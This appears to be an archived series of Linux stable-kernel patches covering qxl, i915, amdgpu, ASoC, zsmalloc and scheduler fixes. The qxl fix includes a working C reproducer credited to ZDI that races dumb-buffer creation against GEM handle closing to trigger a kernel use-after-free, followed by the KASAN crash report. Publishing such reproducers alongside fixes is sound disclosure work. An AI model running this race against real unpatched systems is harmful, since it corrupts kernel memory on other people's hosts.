commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.
qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it.
A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK> Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fbffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
--- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-)
drivers/gpu/drm/qxl/qxl_drv.h +1 -1
@@ -312,7 +312,7 @@ int qxl_gem_object_create_with_handle(stu32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle);void qxl_gem_object_free (struct drm_gem_object *gobj);int qxl_gem_object_open (struct drm_gem_object *obj,struct drm_file *file_priv);
drivers/gpu/drm/qxl/qxl_dumb.c +4 -1
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file {struct qxl_device *qdev =to_qxl (dev);struct qxl_bo *qobj; +struct drm_gem_object *gobj;uint32_t handle;int r;struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file r =qxl_gem_object_create_with_handle (qdev, file_priv,QXL_GEM_DOMAIN_CPU , - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle);if (r)return r; + qobj =gem_to_qxl_bo (gobj); qobj->is_dumb = true; +drm_gem_object_put (gobj); args->pitch = pitch; args->handle = handle;return 0 ;
drivers/gpu/drm/qxl/qxl_gem.c +17 -8
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_devreturn 0 ; } +/* +* If the caller passed a valid gobj pointer, it is responsible to call +* drm_gem_object_put() when it no longer needs to acess the object. +* +* If gobj is NULL, it is handled internally. +*/ int qxl_gem_object_create_with_handle (struct qxl_device *qdev,struct drm_file *file_priv,u32 domain,size_t size,struct qxl_surface *surf, -struct qxl_bo **qobj, +struct drm_gem_object **gobj,uint32_t *handle) { -struct drm_gem_object *gobj;int r; +struct drm_gem_object *local_gobj; -BUG_ON (!qobj);BUG_ON (!handle); r =qxl_gem_object_create (qdev, size,0 , domain, false, false, surf, - &gobj); + &local_gobj);if (r)return -ENOMEM ; - r =drm_gem_handle_create (file_priv, gobj, handle); + r =drm_gem_handle_create (file_priv, local_gobj, handle);if (r)return r; -/* drop reference from allocate - handle holds it now */ - *qobj =gem_to_qxl_bo (gobj); -drm_gem_object_put (gobj); + +if (gobj) + *gobj = local_gobj; +else +/* drop reference from allocate - handle holds it now */ +drm_gem_object_put (local_gobj); +return 0 ; }
drivers/gpu/drm/qxl/qxl_ioctl.c +2 -4
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dstruct qxl_device *qdev =to_qxl (dev);struct drm_qxl_alloc *qxl_alloc = data;int ret; -struct qxl_bo *qobj;uint32_t handle;u32 domain =QXL_GEM_DOMAIN_VRAM ;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *d domain, qxl_alloc->size,NULL , - &qobj, &handle); + NULL, &handle);if (ret) {DRM_ERROR ("%s: failed to create gem ret=%d\n" , __func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_devi {struct qxl_device *qdev =to_qxl (dev);struct drm_qxl_alloc_surf *param = data; -struct qxl_bo *qobj;int handle;int ret;int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_deviQXL_GEM_DOMAIN_SURFACE , size, &surf, - &qobj, &handle); + NULL, &handle);if (ret) {DRM_ERROR ("%s: failed to create gem ret=%d\n" , __func__, ret);
Greg Kroah-Hartman
maintainerPATCH 161/194 drm/i915/sdvo: fix panel_type initialization
In reply to Greg Kroah-HartmanFrom: Jani Nikula <[email protected]>
commit 2002eb6d3ea954dde9f8a223018d5335779937d0 upstream.
Commit 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type") started using -1 as the value for unset panel_type. It gets initialized in intel_panel_init_alloc(), but the SDVO code never calls it.
Call intel_panel_init_alloc() to initialize the panel, including the panel_type.
--- drivers/gpu/drm/i915/display/intel_sdvo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/i915/display/intel_sdvo.c +1 -1
@@ -2727,7 +2727,7 @@ static struct intel_sdvo_connector *inte__drm_atomic_helper_connector_reset (&sdvo_connector->base.base, &conn_state->base.base); -INIT_LIST_HEAD (&sdvo_connector->base.panel.fixed_modes); +intel_panel_init_alloc (&sdvo_connector->base);return sdvo_connector; }
Greg Kroah-Hartman
maintainerPATCH 162/194 drm/amd: flush any delayed gfxoff on suspend entry
In reply to Greg Kroah-HartmanFrom: Mario Limonciello <[email protected]>
commit a7b7d9e8aee4f71b4c7151702fd74237b8cef989 upstream.
DCN 3.1.4 is reported to hang on s2idle entry if graphics activity is happening during entry. This is because GFXOFF was scheduled as delayed but RLC gets disabled in s2idle entry sequence which will hang GFX IP if not already in GFXOFF.
To help this problem, flush any delayed work for GFXOFF early in s2idle entry sequence to ensure that it's off when RLC is changed.
commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during suspend without delay") modified power gating flow so that if called in s0ix that it ensured that GFXOFF wasn't put in work queue but instead processed immediately.
This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly called as part of the suspend entry code. Remove that dead code.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c | 9 +-------- 2 files changed, 2 insertions(+), 8 deletions(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_device.c +1 -0
@@ -4232,6 +4232,7 @@ int amdgpu_device_suspend(struct drm_devdrm_fb_helper_set_suspend_unlocked (adev_to_drm (adev)->fb_helper, true);cancel_delayed_work_sync (&adev->delayed_init_work); +flush_delayed_work (&adev->gfx.gfx_off_delay_work);amdgpu_ras_suspend (adev);
drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c +1 -8
@@ -585,15 +585,8 @@ void amdgpu_gfx_off_ctrl(struct amdgpu_dif (adev->gfx.gfx_off_req_count ==0 && !adev->gfx.gfx_off_state) { -/* If going to s2idle, no need to wait */ -if (adev->in_s0ix) { -if (!amdgpu_dpm_set_powergating_by_smu (adev, -AMD_IP_BLOCK_TYPE_GFX , true)) - adev->gfx.gfx_off_state = true; - }else { -schedule_delayed_work (&adev->gfx.gfx_off_delay_work, +schedule_delayed_work (&adev->gfx.gfx_off_delay_work, delay); - } } }else {if (adev->gfx.gfx_off_req_count ==0 ) {
Greg Kroah-Hartman
maintainerPATCH 163/194 drm/amdgpu: skip fence GFX interrupts disable/enable for S0ix
In reply to Greg Kroah-HartmanFrom: Tim Huang <[email protected]>
commit f1740b1ab2703b2a057da7cf33b03297e0381aa0 upstream.
GFX v11.0.1 reported fence fallback timer expired issue on SDMA and GFX rings after S0ix resume. This is generated by EOP interrupts are disabled when S0ix suspend but fails to re-enable when resume because of the GFX is in GFXOFF.
[ 203.349571] [drm] Fence fallback timer expired on ring sdma0 [ 203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0 [ 203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0
For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers to configure the fence driver interrupts for rings that belong to GFX. The interrupts configuration will be restored by GFXOFF exit.
--- drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 41 ++++++++++++++++++++++++++++-- 1 file changed, 39 insertions(+), 2 deletions(-)
drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c +39 -2
@@ -502,6 +502,41 @@ int amdgpu_fence_driver_sw_init(struct a }/** +* amdgpu_fence_need_ring_interrupt_restore - helper function to check whether +* fence driver interrupts need to be restored. +* +* @ring: ring that to be checked +* +* Interrupts for rings that belong to GFX IP don't need to be restored +* when the target power state is s0ix. +* +* Return true if need to restore interrupts, false otherwise. +*/ +static bool amdgpu_fence_need_ring_interrupt_restore (struct amdgpu_ring *ring) +{ +struct amdgpu_device *adev = ring->adev; +bool is_gfx_power_domain = false; + +switch (ring->funcs->type) { +case AMDGPU_RING_TYPE_SDMA : +/* SDMA 5.x+ is part of GFX power domain so it's covered by GFXOFF */ +if (adev->ip_versions[SDMA0_HWIP ][0 ] >=IP_VERSION (5 ,0 ,0 )) + is_gfx_power_domain = true; +break ; +case AMDGPU_RING_TYPE_GFX : +case AMDGPU_RING_TYPE_COMPUTE : +case AMDGPU_RING_TYPE_KIQ : +case AMDGPU_RING_TYPE_MES : + is_gfx_power_domain = true; +break ; +default : +break ; + } + +return !(adev->in_s0ix && is_gfx_power_domain); +} + +/** * amdgpu_fence_driver_hw_fini - tear down the fence driver * for all possible rings. *
@@ -529,7 +564,8 @@ void amdgpu_fence_driver_hw_fini(structamdgpu_fence_driver_force_completion (ring);if (!drm_dev_is_unplugged (adev_to_drm (adev)) && - ring->fence_drv.irq_src) + ring->fence_drv.irq_src && +amdgpu_fence_need_ring_interrupt_restore (ring))amdgpu_irq_put (adev, ring->fence_drv.irq_src, ring->fence_drv.irq_type);
@@ -604,7 +640,8 @@ void amdgpu_fence_driver_hw_init(structcontinue ;/* enable the interrupt */ -if (ring->fence_drv.irq_src) +if (ring->fence_drv.irq_src && +amdgpu_fence_need_ring_interrupt_restore (ring))amdgpu_irq_get (adev, ring->fence_drv.irq_src, ring->fence_drv.irq_type); }
Greg Kroah-Hartman
maintainerPATCH 164/194 drm/amdgpu/pm: fix throttle_status for other than MP1 11.0.7
In reply to Greg Kroah-HartmanFrom: Umio Yasuno <[email protected]>
commit 6a92761a86817ad15c9a562e2a809386237fae3e upstream.
Use the right metrics table version based on the firmware.
--- drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-)
drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c +7 -7
@@ -588,7 +588,9 @@ err0_out:return -ENOMEM ; } -static uint32_t sienna_cichlid_get_throttler_status_locked (struct smu_context *smu) +static uint32_t sienna_cichlid_get_throttler_status_locked (struct smu_context *smu, +bool use_metrics_v3, +bool use_metrics_v2) {struct smu_table_context *smu_table= &smu->smu_table; SmuMetricsExternal_t *metrics_ext =
@@ -596,13 +598,11 @@ static uint32_t sienna_cichlid_get_throtuint32_t throttler_status =0 ;int i; -if ((smu->adev->ip_versions[MP1_HWIP ][0 ] ==IP_VERSION (11 ,0 ,7 )) && - (smu->smc_fw_version >=0x3A4900 )) { +if (use_metrics_v3) {for (i =0 ; i <THROTTLER_COUNT ; i++) throttler_status |= (metrics_ext->SmuMetrics_V3.ThrottlingPercentage[i] ?1U << i :0 ); - }else if ((smu->adev->ip_versions[MP1_HWIP ][0 ] ==IP_VERSION (11 ,0 ,7 )) && - (smu->smc_fw_version >=0x3A4300 )) { + }else if (use_metrics_v2) {for (i =0 ; i <THROTTLER_COUNT ; i++) throttler_status |= (metrics_ext->SmuMetrics_V2.ThrottlingPercentage[i] ?1U << i :0 );
@@ -864,7 +864,7 @@ static int sienna_cichlid_get_smu_metric metrics->TemperatureVrSoc) * SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;break ;case METRICS_THROTTLER_STATUS : - *value =sienna_cichlid_get_throttler_status_locked (smu); + *value =sienna_cichlid_get_throttler_status_locked (smu, use_metrics_v3, use_metrics_v2);break ;case METRICS_CURR_FANSPEED : *value = use_metrics_v3 ? metrics_v3->CurrFanSpeed :
@@ -4017,7 +4017,7 @@ static ssize_t sienna_cichlid_get_gpu_me gpu_metrics->current_dclk1 = use_metrics_v3 ? metrics_v3->CurrClock[PPCLK_DCLK_1 ] : use_metrics_v2 ? metrics_v2->CurrClock[PPCLK_DCLK_1 ] : metrics->CurrClock[PPCLK_DCLK_1 ]; - gpu_metrics->throttle_status =sienna_cichlid_get_throttler_status_locked (smu); + gpu_metrics->throttle_status =sienna_cichlid_get_throttler_status_locked (smu, use_metrics_v3, use_metrics_v2); gpu_metrics->indep_throttle_status =smu_cmn_get_indep_throttler_status (gpu_metrics->throttle_status, sienna_cichlid_throttler_map);
Greg Kroah-Hartman
maintainerPATCH 165/194 ASoC: amd: vangogh: select CONFIG_SND_AMD_ACP_CONFIG
In reply to Greg Kroah-HartmanFrom: Arnd Bergmann <[email protected]>
commit 812a05256d673b2b9c5db906775d1e6625ba4787 upstream.
The vangogh driver just gained a link time dependency that now causes randconfig builds to fail:
x86_64-linux-ld: sound/soc/amd/vangogh/pci-acp5x.o: in function `snd_acp5x_probe':
pci-acp5x.c:(.text+0xbb): undefined reference to `snd_amd_acp_find_config'
--- sound/soc/amd/Kconfig | 1 + 1 file changed, 1 insertion(+)
sound/soc/amd/Kconfig +1 -0
@@ -81,6 +81,7 @@ config SND_SOC_AMD_VANGOGH_MACH tristate "AMD Vangogh support for NAU8821 CS35L41" select SND_SOC_NAU8821 select SND_SOC_CS35L41_SPI + select SND_AMD_ACP_CONFIG depends on SND_SOC_AMD_ACP5x && I2C && SPI_MASTER help This option enables machine driver for Vangogh platform
Greg Kroah-Hartman
maintainerPATCH 166/194 drm/amd/display: disable RCO for DCN314
In reply to Greg Kroah-HartmanFrom: Daniel Miess <[email protected]>
commit 85e41f1ed5d94a26fe4e57003c399936d291ed70 upstream.
[Why]
RCO is causing error messages on some DCN314 systems
[How]
Force disable RCO for DCN314
--- drivers/gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c | 2 +- drivers/gpu/drm/amd/display/dc/dcn314/dcn314_resource.c | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-)
drivers/gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c +1 -1
@@ -296,7 +296,7 @@ static void dccg314_dpp_root_clock_contr {struct dcn_dccg *dccg_dcn =TO_DCN_DCCG (dccg); -if (dccg->dpp_clock_gated[dpp_inst] == clock_on) +if (dccg->dpp_clock_gated[dpp_inst] != clock_on)return ;if (clock_on) {
drivers/gpu/drm/amd/display/dc/dcn314/dcn314_resource.c +4 -0
@@ -1933,6 +1933,10 @@ static bool dcn314_resource_construct( dc->debug = debug_defaults_drv; else dc->debug = debug_defaults_diags; + +/* Disable root clock optimization */ + dc->debug.root_clock_optimization.u32All =0 ; +// Init the vm_helper if (dc->vm_helper)vm_helper_init (dc->vm_helper,16 );
Greg Kroah-Hartman
maintainerPATCH 167/194 zsmalloc: allow only one active pool compaction context
In reply to Greg Kroah-HartmanFrom: Sergey Senozhatsky <[email protected]>
commit d2658f2052c7db6ec0a79977205f8cf1cb9effc2 upstream.
zsmalloc pool can be compacted concurrently by many contexts, e.g.
cc1 handle_mm_fault()
do_anonymous_page()
__alloc_pages_slowpath()
try_to_free_pages()
do_try_to_free_pages(
lru_gen_shrink_node()
shrink_slab()
do_shrink_slab()
zs_shrinker_scan()
zs_compact()Pool compaction is currently (basically) single-threaded as it is performed under pool->lock. Having multiple compaction threads results in unnecessary contention, as each thread competes for pool->lock. This, in turn, affects all zsmalloc operations such as zs_malloc(), zs_map_object(), zs_free(), etc.
Introduce the pool->compaction_in_progress atomic variable, which ensures that only one compaction context can run at a time. This reduces overall pool->lock contention in (corner) cases when many contexts attempt to shrink zspool simultaneously.
--- mm/zsmalloc.c | 12 ++++++++++++ 1 file changed, 12 insertions(+)
mm/zsmalloc.c +12 -0
@@ -246,6 +246,7 @@ struct zs_pool {struct work_struct free_work;#endif spinlock_t lock; +atomic_t compaction_in_progress; };struct zspage {
@@ -2100,6 +2101,15 @@ unsigned long zs_compact(struct zs_poolstruct size_class *class;unsigned long pages_freed =0 ; +/* +* Pool compaction is performed under pool->lock so it is basically +* single-threaded. Having more than one thread in __zs_compact() +* will increase pool->lock contention, which will impact other +* zsmalloc operations that need pool->lock. +*/ +if (atomic_xchg (&pool->compaction_in_progress,1 )) +return 0 ; +for (i =ZS_SIZE_CLASSES -1 ; i >=0 ; i--) { class = pool->size_class[i];if (class->index != i)
@@ -2107,6 +2117,7 @@ unsigned long zs_compact(struct zs_pool pages_freed +=__zs_compact (pool, class); }atomic_long_add (pages_freed, &pool->stats.pages_compacted); +atomic_set (&pool->compaction_in_progress,0 );return pages_freed; }
@@ -2193,6 +2204,7 @@ struct zs_pool *zs_create_pool(const chainit_deferred_free (pool);spin_lock_init (&pool->lock); +atomic_set (&pool->compaction_in_progress,0 ); pool->name =kstrdup (name,GFP_KERNEL );if (!pool->name)
Greg Kroah-Hartman
maintainerPATCH 168/194 sched/fair: unlink misfit task from cpu overutilized
In reply to Greg Kroah-HartmanFrom: Vincent Guittot <[email protected]>
commit e5ed0550c04c5469ecdc1634d8aa18c8609590f0 upstream.
By taking into account uclamp_min, the 1:1 relation between task misfit and cpu overutilized is no more true as a task with a small util_avg may not fit a high capacity cpu because of uclamp_min constraint.
Add a new state in util_fits_cpu() to reflect the case that task would fit a CPU except for the uclamp_min hint which is a performance requirement.
Use -1 to reflect that a CPU doesn't fit only because of uclamp_min so we can use this new value to take additional action to select the best CPU that doesn't match uclamp_min hint.
When util_fits_cpu() returns -1, we will continue to look for a possible CPU with better performance, which replaces Capacity Inversion detection with capacity_orig_of() - thermal_load_avg to detect a capacity inversion.
--- kernel/sched/fair.c | 105 ++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 82 insertions(+), 23 deletions(-)
kernel/sched/fair.c +82 -23
@@ -4549,8 +4549,8 @@ static inline int util_fits_cpu(unsigned* handle the case uclamp_min > uclamp_max. */ uclamp_min =min (uclamp_min, uclamp_max); -if (util < uclamp_min && capacity_orig !=SCHED_CAPACITY_SCALE ) - fits = fits && (uclamp_min <= capacity_orig_thermal); +if (fits && (util < uclamp_min) && (uclamp_min > capacity_orig_thermal)) +return -1 ;return fits; }
@@ -4560,7 +4560,11 @@ static inline int task_fits_cpu(struct tunsigned long uclamp_min =uclamp_eff_value (p,UCLAMP_MIN );unsigned long uclamp_max =uclamp_eff_value (p,UCLAMP_MAX );unsigned long util =task_util_est (p); -return util_fits_cpu (util, uclamp_min, uclamp_max, cpu); +/* +* Return true only if the cpu fully fits the task requirements, which +* include the utilization but also the performance hints. +*/ +return (util_fits_cpu (util, uclamp_min, uclamp_max, cpu) >0 ); }static inline void update_misfit_status (struct task_struct *p,struct rq *rq)
@@ -6043,6 +6047,7 @@ static inline bool cpu_overutilized(intunsigned long rq_util_min =uclamp_rq_get (cpu_rq (cpu),UCLAMP_MIN );unsigned long rq_util_max =uclamp_rq_get (cpu_rq (cpu),UCLAMP_MAX ); +/* Return true only if the utilization doesn't fit CPU's capacity */ return !util_fits_cpu (cpu_util_cfs (cpu), rq_util_min, rq_util_max, cpu); }
@@ -6836,6 +6841,7 @@ static int select_idle_capacity(struct task_struct *p, struct sched_domain *sd, int target) { unsigned long task_util, util_min, util_max, best_cap = 0; +int fits, best_fits =0 ;int cpu, best_cpu =-1 ;struct cpumask *cpus;
@@ -6851,12 +6857,28 @@ select_idle_capacity(struct task_structif (!available_idle_cpu (cpu) && !sched_idle_cpu (cpu))continue ; -if (util_fits_cpu (task_util, util_min, util_max, cpu)) + + fits =util_fits_cpu (task_util, util_min, util_max, cpu); + +/* This CPU fits with all requirements */ +if (fits >0 )return cpu; +/* +* Only the min performance hint (i.e. uclamp_min) doesn't fit. +* Look for the CPU with best capacity. +*/ +else if (fits <0 ) + cpu_cap =capacity_orig_of (cpu) -thermal_load_avg (cpu_rq (cpu)); -if (cpu_cap > best_cap) { +/* +* First, select CPU which fits better (-1 being better than 0). +* Then, select the one with best capacity at same level. +*/ +if ((fits < best_fits) || + ((fits == best_fits) && (cpu_cap > best_cap))) { best_cap = cpu_cap; best_cpu = cpu; + best_fits = fits; } }
@@ -6869,7 +6891,11 @@ static inline bool asym_fits_cpu(unsigne int cpu) {if (sched_asym_cpucap_active ()) -return util_fits_cpu (util, util_min, util_max, cpu); +/* +* Return true only if the cpu fully fits the task requirements +* which include the utilization and the performance hints. +*/ +return (util_fits_cpu (util, util_min, util_max, cpu) >0 );return true; }
